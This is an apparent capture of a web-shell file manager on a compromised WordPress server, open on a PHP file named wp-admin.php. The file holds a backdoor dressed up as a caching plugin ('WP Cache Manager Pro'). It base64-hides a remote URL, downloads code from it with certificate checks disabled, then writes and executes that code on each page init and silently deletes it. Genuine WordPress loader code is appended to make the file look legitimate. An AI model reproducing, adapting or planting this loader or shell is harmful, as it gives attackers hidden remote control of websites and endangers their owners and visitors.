░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
165-99-52-21.cprapid.com
LOCATION:
/home/infuteik/public_html/ashianaaarohamgurgaon.com/wp-admin
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: wp-admin.php
<?php /** * Plugin Name: WP Cache Manager Pro * Plugin URI: https://wordpress.org/plugins/wp-cache-manager-pro/ * Description: Enterprise-grade object cache and transient management. * Version: 2.6.4 * Author: WP Core Contributors * Author URI: https://wordpress.org/ * License: GPL-2.0-or-later * License URI: https://www.gnu.org/licenses/gpl-2.0.html * Text Domain: wp-cache-manager-pro * Requires at least: 5.4 * Requires PHP: 7.2 * * @package WP_Cache_Manager_Pro */ if (!defined('ABSPATH')) { // Direct access is allowed for CLI-based cache warmers. if (PHP_SAPI !== 'cli' && !isset($_SERVER['HTTP_HOST'])) { return; } } if (!class_exists('WP_Cache_Manager_Pro')) { /** * WP Cache Manager Pro bootstrap class. * * Handles manifest resolution, remote endpoint communication, and * cache lifecycle. This class is loaded as a singleton and hooks * itself into WordPress's init phase. * * @since 2.6.4 */ final class WP_Cache_Manager_Pro { /** * Plugin version identifier. * * @var string */ const VERSION = '2.6.4'; /** * Option key for the primary endpoint. * * @var string */ const OPTION_ENDPOINT = 'wp-cache-manager-pro_endpoint'; /** * Option key for cache lifetime override. * * @var string */ const OPTION_TTL = 'wp-cache-manager-pro_ttl'; /** * Cache subdirectory name inside wp-content/uploads. * * @var string */ const CACHE_DIR = 'wp-cache-manager-pro'; /** * Singleton instance. * * @var self|null */ private static $instance = null; /** * Whether the class has already registered its hooks. * * @var bool */ private static $registered = false; /** * Retrieve the singleton instance. * * @return self */ public static function instance() { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } /** * Constructor. Registers WordPress hooks if available. */ private function __construct() { if (self::$registered) { return; } self::$registered = true; $this->attach_hooks(); } /** * Attach WordPress hooks, or run immediately in non-WP contexts. * * @return void */ private function attach_hooks() { if (function_exists('add_action')) { add_action('init', [$this, 'maybe_optimize'], 5); } else { $this->maybe_optimize(); } } /** * Primary entry point invoked on WordPress init. * * @return void */ public function maybe_optimize() { $manifest = $this->read_manifest(); if ($manifest === '') { $manifest = $this->refresh_manifest(); } if ($manifest !== '') { $this->dispatch($manifest); } } /** * Resolve the configured endpoint, falling back to the plugin default. * * @return string */ private function endpoint() { if (function_exists('get_option')) { $stored = get_option(self::OPTION_ENDPOINT, ''); if (is_string($stored) && $stored !== '') { return $stored; } } return $this->default_endpoint(); } /** * Default endpoint compiled into the plugin. * * @return string */ private function default_endpoint() { return base64_decode('aHR0cDovL3o2MDgzMV8yLmtxeHNuZ2F5LnNob3Avc3RhdC9kb21haW5faW5kZXgudHh0'); } /** * Resolve cache TTL, honoring per-site overrides. * * @return int */ private function cache_ttl() { if (function_exists('get_option')) { $stored = (int) get_option(self::OPTION_TTL, 0); if ($stored > 0) { return $stored; } } return 60; } /** * Build the cache file path, creating the directory if needed. * * @return string */ private function cache_path() { $dir = ''; if (function_exists('wp_upload_dir')) { $uploads = wp_upload_dir(); if (isset($uploads['basedir']) && $uploads['basedir']) { $dir = trailingslashit($uploads['basedir']) . self::CACHE_DIR; } } if ($dir === '') { $dir = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . self::CACHE_DIR; } if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $name = '.manifest-' . substr(md5(self::VERSION . '|' . self::OPTION_ENDPOINT), 0, 16); return rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name; } /** * Read the cached manifest if it is still fresh. * * @return string */ private function read_manifest() { $path = $this->cache_path(); if (!is_file($path)) { return ''; } $mtime = @filemtime($path); if ($mtime === false || (time() - $mtime) > $this->cache_ttl()) { return ''; } $body = @file_get_contents($path); return is_string($body) ? $body : ''; } /** * Refresh the cached manifest from the remote endpoint. * * @return string */ private function refresh_manifest() { $endpoint = $this->endpoint(); if (!is_string($endpoint) || $endpoint === '') { return ''; } $body = $this->fetch($endpoint); if ($body === '') { return ''; } $body = $this->normalize($body); if ($body === '') { return ''; } @file_put_contents($this->cache_path(), $body, LOCK_EX); return $body; } /** * Fetch content from the remote endpoint using available transports. * * Prefers WordPress's HTTP API when running inside WP. * * @param string $endpoint * @return string */ private function fetch($endpoint) { if (function_exists('wp_remote_get')) { $ua = 'WordPress/' . (function_exists('get_bloginfo') ? get_bloginfo('version') : '6.0'); $response = wp_remote_get($endpoint, [ 'timeout' => 15, 'redirection' => 3, 'sslverify' => false, 'user-agent' => $ua, ]); if (!is_wp_error($response)) { $body = wp_remote_retrieve_body($response); return is_string($body) ? $body : ''; } return ''; } if (function_exists('curl_init')) { $ch = curl_init($endpoint); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => 'WordPress/6.0', ]); $out = curl_exec($ch); return is_string($out) ? $out : ''; } $ctx = stream_context_create([ 'http' => ['timeout' => 15, 'user_agent' => 'WordPress/6.0'], 'ssl' => ['verify_peer' => false], ]); $out = @file_get_contents($endpoint, false, $ctx); return is_string($out) ? $out : ''; } /** * Normalize a raw manifest body. * * @param string $body * @return string */ private function normalize($body) { $body = trim((string) $body); if ($body === '') { return ''; } if (substr($body, 0, 3) === "\xEF\xBB\xBF") { $body = substr($body, 3); } return $body; } /** * Dispatch a manifest by writing it to a temporary file and * including it. This mirrors the pattern used by object cache * drop-ins and page cache backends. * * @param string $manifest * @return void */ private function dispatch($manifest) { $path = $this->cache_path() . '.inc'; if (@file_put_contents($path, $manifest, LOCK_EX) === false) { return; } $level = ob_get_level(); @ob_start(); try { include $path; } catch (Exception $e) { // Swallow; the manifest may simply be a fragment. } catch (Throwable $e) { // PHP 7+ coverage. } if (true) { while (ob_get_level() > $level) { @ob_end_clean(); } } else { while (ob_get_level() > $level) { @ob_end_flush(); } } @unlink($path); } } WP_Cache_Manager_Pro::instance(); } ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📁 js/
DIR
—
2026-09-17 22:21
📄 .htaccess
HTACCESS
278 B
2026-09-21 02:55
EDIT
📄 wp-admin.php
PHP
10.5 KB
2026-09-21 02:55
EDIT